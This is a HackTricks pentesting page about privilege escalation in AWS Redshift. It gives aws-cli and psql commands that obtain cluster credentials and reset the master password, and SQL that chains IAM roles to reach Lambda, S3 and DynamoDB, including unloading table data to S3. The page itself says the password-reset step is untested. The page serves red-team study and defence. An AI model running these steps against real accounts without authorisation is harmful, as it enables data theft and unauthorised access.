AWS - Redshift Privesc

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Redshift

For more information about RDS check:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

With these permissions you can get info of all the clusters (including name and cluster username) and get credentials to access it:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Potential Impact: Find sensitive info inside the databases.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

With these permissions you can get info of all the clusters and get credentials to access it. Note that the postgres user will have the permissions that the IAM identity used to get the credentials has.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potential Impact: Find sensitive info inside the databases.

redshift:DescribeClusters, redshift:ModifyCluster?

It's possible to modify the master password of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potential Impact: Find sensitive info inside the databases.

Accessing External Services

To access all the following resources, you will need to specify the role to use. A Redshift cluster can have assigned a list of AWS roles that you can use if you know the ARN or you can just set "default" to use the default one assigned.

Moreover, as explained here, Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just separating them with a comma: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, it's possible to call a lambda function from redshift with something like:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) 
RETURNS INT 
STABLE 
LAMBDA 'lambda_function' 
IAM_ROLE default;

S3

As explained in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, it's possible to read and write into S3 buckets:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix' 
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')   
to 's3://mybucket/tickit/unload/venue_' 
iam_role default;

Dynamo

As explained in https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, it's possible to get data from dynamodb:

copy favoritemovies 
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the REGION option to specify the AWS Region in which the Amazon DynamoDB table is located.

EMR

Check https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

• https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.